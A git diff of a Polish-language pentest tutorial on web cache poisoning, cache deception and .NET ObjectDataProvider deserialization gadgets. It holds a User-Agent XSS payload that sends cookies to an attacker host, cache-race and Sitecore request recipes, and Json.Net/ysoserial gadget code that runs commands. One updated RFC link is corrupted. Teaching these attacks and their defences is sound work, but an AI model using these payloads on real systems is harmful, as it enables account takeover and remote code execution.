Jeśli odkryjesz, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do załadowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje **`User-Agent`**, musisz znaleźć sposób, aby exfiltrate `User-Agent` ofiary i poison the cache używając tego `User-Agent`:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -137,7 +137,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
Wyślij żądanie GET, umieszczając request zarówno w URL, jak i w body. Jeśli web server użyje wartości z body, a cache server zapisze w cache wartość z URL, każdy, kto odwiedzi ten URL, faktycznie użyje parametru z body. Jak vuln, który James Kettle znalazł na stronie Github:
|
||||
Wyślij żądanie GET z żądaniem w URL i w body. Jeśli web server użyje wartości z body, ale cache server zbuforuje wersję z URL, każdy uzyskujący dostęp do tego URL faktycznie będzie używał parametru z body. Jak vuln, który James Kettle znalazł na stronie Github:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -146,63 +146,63 @@ Content-Length: 22
|
||||
|
||||
report=innocent-victim
|
||||
```
|
||||
There is a Portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
Jest lab PortSwigger dotyczący tego: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloacking
|
||||
|
||||
Na przykład możliwe jest rozdzielanie **parameters** na serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. To może być użyte do umieszczenia wartości niekluczowanych parameters wewnątrz kluczowanych i ich nadużycia.
|
||||
Na przykład w serwerach ruby można oddzielać **parameters** przy użyciu znaku **`;`** zamiast **`&`**. Można to wykorzystać do umieszczenia wartości parametrów bez klucza (unkeyed) wewnątrz parametrów z kluczem (keyed) i ich nadużycia.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
Dowiedz się tutaj, jak wykonać [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
Dowiedz się tutaj, jak wykonywać [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być użyty do automatycznego testowania pod kątem web cache poisoning. Wspiera wiele różnych technik i jest wysoko konfigurowalny.
|
||||
Narzędzie [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być użyte do automatycznego testowania pod kątem Web Cache Poisoning. Obsługuje wiele różnych technik i jest wysoko konfigurowalne.
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
Ten wzorzec z rzeczywistego świata łączy header-based reflection primitive z zachowaniem CDN/WAF, aby niezawodnie zatruć zbuforowany HTML serwowany innym użytkownikom:
|
||||
Ten rzeczywisty wzorzec łączy primitive oparte na refleksji nagłówka z zachowaniem CDN/WAF, aby niezawodnie zatruć zbuforowany HTML serwowany innym użytkownikom:
|
||||
|
||||
- Główny HTML odzwierciedlał nieufny request header (np. `User-Agent`) do kontekstu wykonywalnego.
|
||||
- CDN usuwał cache headers, ale istniał cache wewnętrzny/origin. CDN również auto-cache'ował żądania kończące się na statyczne rozszerzenia (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści dla GETs dotyczących statycznych assetów.
|
||||
- Dziwactwa przepływu requestów pozwalały, aby żądanie do ścieżki `.js` wpłynęło na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez header reflection.
|
||||
- Główny HTML odzwierciedlał niezaufany nagłówek żądania (np. `User-Agent`) w kontekście możliwym do wykonania.
|
||||
- CDN usuwał nagłówki cache, ale istniała pamięć podręczna wewnętrzna/origin. CDN także automatycznie cachował żądania kończące się statycznymi rozszerzeniami (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści dla GETów zasobów statycznych.
|
||||
- Szczegóły przepływu żądań pozwalały, by żądanie do ścieżki `.js` wpłynęło na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez odzwierciedlenie nagłówka.
|
||||
|
||||
Praktyczny przepis (zaobserwowany na popularnym CDN/WAF):
|
||||
Praktyczny przepis (obserwowany w popularnym CDN/WAF):
|
||||
|
||||
1) Z czystego IP (unikaj wcześniejszych obniżeń reputacji), ustaw złośliwy `User-Agent` przez przeglądarkę lub Burp Proxy Match & Replace.
|
||||
2) W Burp Repeater przygotuj grupę dwóch requestów i użyj "Send group in parallel" (najlepiej w trybie single-packet):
|
||||
- Pierwsze żądanie: GET zasób `.js` na tym samym originie wysyłając złośliwy `User-Agent`.
|
||||
- Bezpośrednio po tym: GET głównej strony (`/`).
|
||||
3) Wyścig routingu CDN/WAF plus auto-cached `.js` często seeduje zatruwaną zbuforowaną wariantę HTML, która potem jest serwowana innym odwiedzającym dzielącym te same warunki cache key (np. te same wymiary `Vary` jak `User-Agent`).
|
||||
1) Z czystego IP (unikaj wcześniejszych obniżeń reputacji) ustaw złośliwy `User-Agent` przez przeglądarkę lub Burp Proxy Match & Replace.
|
||||
2) W Burp Repeater przygotuj grupę dwóch żądań i użyj "Send group in parallel" (najlepiej w trybie single-packet):
|
||||
- Pierwsze żądanie: GET zasobu `.js` na tym samym origin, wysyłając złośliwy `User-Agent`.
|
||||
- Natychmiast potem: GET główną stronę (`/`).
|
||||
3) Wyścig routingu CDN/WAF oraz automatycznie cachowane `.js` często powodują wprowadzenie zainfekowanego wariantu zbuforowanego HTML, który następnie jest serwowany innym odwiedzającym spełniającym te same warunki klucza cache (np. te same wymiary `Vary` jak `User-Agent`).
|
||||
|
||||
Example header payload (to exfiltrate non-HttpOnly cookies):
|
||||
Przykładowy ładunek nagłówka (do eksfiltracji non-HttpOnly cookies):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
Operational tips:
|
||||
|
||||
- Wiele CDN ukrywa nagłówki cache; poisoning może być widoczny tylko przy wielogodzinnych cyklach odświeżania. Używaj wielu punktów obserwacyjnych (różnych adresów IP) i stosuj throttle, aby uniknąć wyzwalaczy rate-limit lub problemów z reputacją.
|
||||
- Użycie IP z własnej chmury CDN czasami poprawia spójność routingu.
|
||||
- Jeśli obecna jest restrykcyjna CSP, wciąż to działa, jeśli refleksja wykonuje się w głównym kontekście HTML i CSP pozwala na inline execution lub jest obejście zależne od kontekstu.
|
||||
- Wiele CDN ukrywa nagłówki cache; poisoning może być widoczny tylko przy cyklach odświeżania trwających wiele godzin. Użyj wielu vantage IP i ograniczaj ruch (throttle), aby uniknąć wyzwalaczy rate-limit lub problemów z reputacją.
|
||||
- Korzystanie z adresu IP z własnej chmury CDN czasami poprawia spójność routingu.
|
||||
- Jeśli obowiązuje ścisły CSP, nadal to działa, o ile reflection wykonuje się w głównym kontekście HTML i CSP zezwala na inline execution lub jest obejdany przez kontekst.
|
||||
|
||||
Impact:
|
||||
|
||||
- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
|
||||
- Jeśli session cookies aren’t `HttpOnly`, zero-click ATO jest możliwy przez mass-exfiltrating `document.cookie` od wszystkich użytkowników, którym serwowany jest poisoned HTML.
|
||||
|
||||
Defenses:
|
||||
|
||||
- Przestań odzwierciedlać request headers w HTML; jeśli to nieuniknione, ściśle context-encode. Zsynchronizuj polityki cache CDN i origin i unikaj wariacji w oparciu o niezaufane nagłówki.
|
||||
- Upewnij się, że WAF stosuje inspekcję treści konsekwentnie do żądań `.js` i ścieżek statycznych.
|
||||
- Przestań odzwierciedlać request headers w HTML; jeśli to nieuniknione, koduj ściśle zgodnie z kontekstem. Dopasuj polityki cache CDN i origin oraz unikaj wariacji zależnych od nieufnych nagłówków.
|
||||
- Upewnij się, że WAF stosuje content inspection konsekwentnie dla żądań `.js` i ścieżek statycznych.
|
||||
- Ustaw `HttpOnly` (oraz `Secure`, `SameSite`) na session cookies.
|
||||
|
||||
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
|
||||
|
||||
Wzorzec specyficzny dla Sitecore umożliwia nieuwierzytelnione zapisy do HtmlCache poprzez nadużycie pre‑auth XAML handlerów i odbicia AjaxScriptManager. Kiedy osiągany jest handler `Sitecore.Shell.Xaml.WebControl`, dostępny jest `xmlcontrol:GlobalHeader` (pochodzący z `Sitecore.Web.UI.WebControl`) i dozwolone jest wykonanie następującego reflective call:
|
||||
Wzorzec specyficzny dla Sitecore umożliwia nieautoryzowane zapisy do HtmlCache poprzez nadużycie pre‑auth XAML handlers i AjaxScriptManager reflection. Gdy obsługa `Sitecore.Shell.Xaml.WebControl` zostanie wywołana, dostępny jest `xmlcontrol:GlobalHeader` (pochodzący z `Sitecore.Web.UI.WebControl`) i dozwolony jest następujący reflective call:
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -221,45 +221,45 @@ For full details (cache key construction, ItemService enumeration and a chained
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS przekazywał fragment URL bez jego usuwania i generował cache key używając wyłącznie host, path i query (ignorując fragment). W efekcie żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)`, a cache key nie zawierał payloadu, tylko host, path i query.
|
||||
ATS przekazywał fragment znajdujący się w URL bez jego usuwania i generował cache key używając jedynie hosta, ścieżki i query (ignorując fragment). Zatem żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)`, a cache key nie zawierał payloadu, jedynie host, ścieżkę i query.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
Wysłanie nieprawidłowej wartości w nagłówku content-type powodowało zwrócenie zcache’owanej odpowiedzi 405. Cache key zawierał cookie, więc atak był możliwy jedynie przeciwko niezalogowanym użytkownikom.
|
||||
Wysłanie niepoprawnej wartości w nagłówku content-type wywoływało zbuforowaną odpowiedź 405. Cache key zawierał cookie, więc atak możliwy był tylko na niezalogowanych użytkowników.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab używa GCP buckets do przechowywania statycznych treści. **GCP Buckets** obsługują nagłówek **`x-http-method-override`**. Dzięki temu możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i popoisowanie cache, by zwracał pusty body odpowiedzi. Obsługiwana mogła być też metoda `PURGE`.
|
||||
GitLab używa GCP buckets do przechowywania statycznych treści. **GCP Buckets** obsługują **header `x-http-method-override`**. Dzięki temu możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie cache tak, by zwracał pusty body odpowiedzi. Może też obsługiwać metodę `PURGE`.
|
||||
|
||||
### Rack Middleware (Ruby on Rails)
|
||||
|
||||
W aplikacjach Ruby on Rails często używa się Rack middleware. Kod Rack pobiera wartość nagłówka `x-forwarded-scheme` i ustawia ją jako scheme żądania. Gdy wysłano `x-forwarded-scheme: http`, następowało przekierowanie 301 do tej samej lokalizacji, co potencjalnie mogło spowodować DoS dla tego zasobu. Dodatkowo aplikacja może respektować nagłówek `X-forwarded-host` i przekierować użytkowników na wskazany host. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, stanowiąc zagrożenie.
|
||||
W aplikacjach Ruby on Rails często wykorzystywany jest Rack middleware. Kod Rack pobiera wartość nagłówka **`x-forwarded-scheme`** i ustawia ją jako scheme żądania. Gdy wysłany jest nagłówek `x-forwarded-scheme: http`, następuje przekierowanie 301 do tej samej lokalizacji, co może powodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może honorować nagłówek `X-forwarded-host` i przekierowywać użytkowników na wskazany host. Takie zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi ryzyko bezpieczeństwa.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare wcześniej cache’ował odpowiedzi 403. Próby dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization zwracały 403, które były cachowane. Choć Cloudflare przestał cachować 403, to zachowanie może nadal występować w innych serwisach proxy.
|
||||
Cloudflare wcześniej cachował odpowiedzi 403. Próby uzyskania dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization skutkowały odpowiedzią 403, która była cache'owana. Chociaż Cloudflare przestał cache'ować odpowiedzi 403, takie zachowanie może wciąż występować w innych serwisach proxy.
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Cache często uwzględniają konkretne GET parametry w cache key. Na przykład Fastly's Varnish cachował parametr `size`. Jednak jeśli wysłano zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, cache key był budowany używając poprawnego `size`, podczas gdy backend przetwarzał wartość zakodowanego parametru. URL-encoding drugiego `size` powodował jego pominięcie przez cache, ale użycie przez backend. Przypisanie wartości 0 do tego parametru skutkowało cache’owalnym błędem 400 Bad Request.
|
||||
Cache często uwzględniają konkretne parametry GET w cache key. Na przykład Varnish Fastly cachował parametr `size` w żądaniach. Jednak jeśli wysłano zakodowaną w URL wersję parametru (np. `siz%65`) z błędną wartością, cache key był konstruowany z poprawnego parametru `size`. Backend jednak przetwarzał wartość z zakodowanego parametru. URL-encoding drugiego parametru `size` powodował jego pominięcie przez cache, ale jego użycie przez backend. Przypisanie wartości 0 do tego parametru skutkowało zwróceniem cache'owalnego błędu 400 Bad Request.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby ograniczyć obciążenie serwera. Paradoksalnie, takie podejście może wprowadzać podatności, np. cache poisoning i DoS.
|
||||
Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom wysokiego ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Paradoksalnie takie podejście może wprowadzać podatności, takie jak cache poisoning i DoS.
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
[https://datatracker.ietf.org/doc/html/rfc7230](https://datatracker.ietf.org/doc/html/rfc7230) określa dozwolone znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zakresu **tchar** powinny w teorii skutkować 400 Bad Request. W praktyce serwery nie zawsze tego przestrzegają. Przykładowo Akamai przepuszcza nagłówki z nieprawidłowymi znakami i cache’uje każdy błąd 400, o ile nie ma nagłówka `cache-control`. Zidentyfikowano wykorzystywalny wzorzec, gdzie wysłanie nagłówka z nielegalnym znakiem, np. `\`, powodowało cache’owalny 400 Bad Request.
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa dozwolone znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zakresu **tchar** powinny w idealnym przypadku wywoływać 400 Bad Request. W praktyce serwery nie zawsze trzymają się tego standardu. Przykładem jest Akamai, który przekazuje nagłówki z nieprawidłowymi znakami i cache'uje dowolny błąd 400, o ile nie występuje nagłówek `cache-control`. Zidentyfikowano wzorzec umożliwiający wywołanie cache'owalnego 400 Bad Request poprzez wysłanie nagłówka z nielegalnym znakiem, takim jak `\`.
|
||||
|
||||
### Wyszukiwanie nowych nagłówków
|
||||
### Finding new headers
|
||||
|
||||
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
|
||||
|
||||
## Cache Deception
|
||||
|
||||
Celem Cache Deception jest sprawienie, by klienci ładowali zasoby, które zostaną zapisane w cache wraz z ich poufnymi informacjami.
|
||||
Celem Cache Deception jest skłonienie klientów do załadowania zasobów, które zostaną zapisane przez cache wraz z ich poufnymi danymi.
|
||||
|
||||
Przede wszystkim zwróć uwagę, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itd. są zwykle **skonfigurowane**, by być **zapisane** w **cache.** Dlatego jeśli odwiedzisz `www.example.com/profile.php/nonexistent.js`, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Jednak jeśli **aplikacja** odpowiada zawartością zawierającą **poufne** dane użytkownika przechowywane w _www.example.com/profile.php_, możesz **ukraść** te dane od innych użytkowników.
|
||||
Przede wszystkim zauważ, że rozszerzenia takie jak .css, .js, .png itd. są zwykle skonfigurowane tak, aby być zapisywane w cache. Dlatego jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie .js. Jednak jeśli aplikacja odpowiada treścią zawierającą poufne dane użytkownika znajdujące się pod www.example.com/profile.php, możesz ukraść te treści od innych użytkowników.
|
||||
|
||||
Inne rzeczy do przetestowania:
|
||||
|
||||
@ -270,17 +270,17 @@ Inne rzeczy do przetestowania:
|
||||
- _www.example.com/profile.php/%2e%2e/test.js_
|
||||
- _Use lesser known extensions such as_ `.avif`
|
||||
|
||||
Kolejny czytelny przykład znajduje się w tym write-upie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę jak _http://www.example.com/home.php/non-existent.css_, to zawartość _http://www.example.com/home.php_ (**z poufnymi informacjami użytkownika**) zostanie zwrócona i serwer cache zapisze wynik.\
|
||||
Następnie **atakujący** może odwiedzić _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i zobaczyć **poufne informacje** użytkowników, którzy odwiedzili wcześniej.
|
||||
Bardzo czytelny przykład znajduje się w tym write-upie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę taką jak _http://www.example.com/home.php/non-existent.css_, zawartość _http://www.example.com/home.php_ (**z poufnymi danymi użytkownika**) zostanie zwrócona i serwer cache zapisze wynik.\
|
||||
Następnie **attacker** może odwiedzić _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i zaobserwować **poufne informacje** użytkowników, którzy wcześniej uzyskali dostęp.
|
||||
|
||||
Zwróć uwagę, że **cache proxy** powinien być **skonfigurowany**, by **cache’ować** pliki **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie content-type. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał content-type `text/html` zamiast `text/css`.
|
||||
Zauważ, że **cache proxy** powinien być skonfigurowany tak, by cache'ować pliki na podstawie rozszerzenia pliku (_.css_) a nie na podstawie content-type. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie mieć content-type `text/html` zamiast `text/css`.
|
||||
|
||||
Dowiedz się, jak przeprowadzić [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
## Narzędzia automatyczne
|
||||
## Automatyczne narzędzia
|
||||
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
|
||||
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner do znajdowania web cache poisoning podatności w liście URL-i i testowania wielu technik iniekcji.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,36 +1,36 @@
|
||||
# Podstawowa deserializacja .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ten post ma na celu **zrozumienie, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **jak** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużyte** z użyciem tego gadgetu.
|
||||
Ten wpis ma na celu **wyjaśnić, jak gadget ObjectDataProvider jest wykorzystywany** do uzyskania RCE oraz **w jaki sposób** biblioteki serializacji **Json.Net i xmlSerializer mogą być nadużyte** z użyciem tego gadgetu.
|
||||
|
||||
## Gadget ObjectDataProvider
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||||
Tak, to dziwne wyjaśnienie, więc zobaczmy, co w tej klasie jest tak interesujące: ta klasa pozwala **opakować dowolny obiekt**, użyć _**MethodParameters**_ aby **ustawić dowolne parametry**, a następnie **użyć MethodName do wywołania dowolnej funkcji** tego obiektu, przekazując wcześniej ustawione parametry.\
|
||||
W efekcie dowolny **obiekt** wykona **funkcję** z **parametrami podczas deserializacji.**
|
||||
Z dokumentacji: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
|
||||
No cóż, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma takiego interesującego: Ta klasa pozwala **opakować dowolny obiekt**, użyć _**MethodParameters**_ aby **ustawić dowolne parametry**, a następnie **użyć MethodName, aby wywołać dowolną funkcję** opakowanego obiektu z przekazanymi parametrami.\
|
||||
W związku z tym dowolny **obiekt** będzie **wykonywał** **funkcję** z **parametrami podczas deserializacji.**
|
||||
|
||||
### **Jak to jest możliwe**
|
||||
|
||||
Przestrzeń nazw **System.Windows.Data**, znajdująca się w **PresentationFramework.dll** pod `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, to miejsce, gdzie zdefiniowano i zaimplementowano ObjectDataProvider.
|
||||
|
||||
Korzystając z [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **przejrzeć kod** klasy, która nas interesuje. Na obrazku poniżej widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
|
||||
Używając [**dnSpy**](https://github.com/0xd4d/dnSpy) możesz **zajrzeć do kodu** klasy, która nas interesuje. Na obrazku poniżej widzimy kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
|
||||
|
||||
.png>)
|
||||
|
||||
Jak widać, gdy ustawiany jest `MethodName`, wywoływana jest metoda `base.Refresh()`. Przyjrzyjmy się, co ona robi:
|
||||
Jak widać, gdy ustawiony zostaje `MethodName`, wywoływana jest metoda `base.Refresh()`; przyjrzyjmy się, co ona robi:
|
||||
|
||||
.png>)
|
||||
|
||||
OK, przejdźmy dalej i zobaczmy, co robi `this.BeginQuery()`. `BeginQuery` jest przesłonięta przez `ObjectDataProvider` i wygląda tak:
|
||||
Ok, kontynuujmy i zobaczmy, co robi `this.BeginQuery()`. `BeginQuery` jest przesłonięte przez `ObjectDataProvider` i oto co robi:
|
||||
|
||||
.png>)
|
||||
|
||||
Zwróć uwagę, że na końcu kodu wywoływana jest metoda `this.QueryWorke(null)`. Zobaczmy, co to wykonuje:
|
||||
Zauważ, że na końcu kod wywołuje `this.QueryWorke(null)`. Zobaczmy, co to wykonuje:
|
||||
|
||||
.png>)
|
||||
|
||||
To nie jest pełny kod funkcji `QueryWorker`, ale pokazuje jej interesującą część: kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** — to jest linia, w której **wywoływana jest ustawiona metoda**.
|
||||
Zauważ, że to nie jest cały kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** — to właśnie linia, w której **zestaw metod jest wywoływany**.
|
||||
|
||||
Jeśli chcesz sprawdzić, że samo ustawienie _**MethodName**_ spowoduje jego wykonanie, możesz uruchomić ten kod:
|
||||
```java
|
||||
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
|
||||
Uwaga, trzeba dodać jako odwołanie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ aby załadować `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Używając poprzedniego exploita będą przypadki, w których **obiekt** zostanie **zdeserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w DotNetNuke vuln, używając XmlSerializer obiekt został zdeserializowany za pomocą `GetType`). W takim wypadku nie będzie **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Używając poprzedniego exploita będą przypadki, gdzie **obiekt** zostanie **zdeserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w DotNetNuke vuln, używając XmlSerializer obiekt został zdeserializowany za pomocą `GetType`). Wtedy nie będzie **znajomości typu obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Ta klasa pozwala **określić typy obiektów, które są enkapsulowane** w danej instancji. Dlatego ta klasa może być użyta do opakowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i udostępnienia właściwości, których potrzebujemy (_ObjectDataProvider.MethodName_ oraz _ObjectDataProvider.MethodParameters_).\
|
||||
Jest to bardzo przydatne w przypadkach opisanych wcześniej, ponieważ będziemy mogli **opakować _ObjectDataProvider_ wewnątrz instancji _ExpandedWrapper_** i **po zdeserializowaniu** ta klasa **utworzy** obiekt _**ObjectDataProvider**_, który **wykona** funkcję wskazaną w _**MethodName**_.
|
||||
Ta klasa pozwala **określić typy obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być użyta do zapakowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ oraz _ObjectDataProvider.MethodParameters_).\
|
||||
To jest bardzo przydatne w przypadkach takich jak przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz **_**ExpandedWrapper** \_ instancji i **po zdeserializowaniu** ta klasa **utworzy** obiekt _**OjectDataProvider**_ który **wykona** **funkcję** wskazaną w _**MethodName**_.
|
||||
|
||||
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
|
||||
```java
|
||||
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
Na [official web page](https://www.newtonsoft.com/json) jest napisane, że ta biblioteka umożliwia **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Zatem, jeśli moglibyśmy **deserialize the ObjectDataProvider gadget**, moglibyśmy spowodować **RCE** po prostu deserialize obiektu.
|
||||
W [official web page](https://www.newtonsoft.com/json) jest wskazane, że ta biblioteka pozwala **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Zatem, jeśli moglibyśmy **deserialize the ObjectDataProvider gadget**, moglibyśmy spowodować **RCE** tylko poprzez deserializację obiektu.
|
||||
|
||||
### Przykład Json.Net
|
||||
### Json.Net example
|
||||
|
||||
Najpierw zobaczmy przykład, jak za pomocą tej biblioteki **serialize/deserialize** obiekt:
|
||||
Najpierw zobaczmy przykład, jak **serialize/deserialize** obiekt przy użyciu tej biblioteki:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
W tym kodzie możesz **przetestować exploit**, po prostu uruchom go i zobaczysz, że calc zostanie uruchomiony:
|
||||
W tym kodzie możesz **test the exploit**, po prostu uruchom go i zobaczysz, że calc zostanie uruchomiony:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
## Zaawansowane łańcuchy gadgetów .NET (YSoNet & ysoserial.net)
|
||||
|
||||
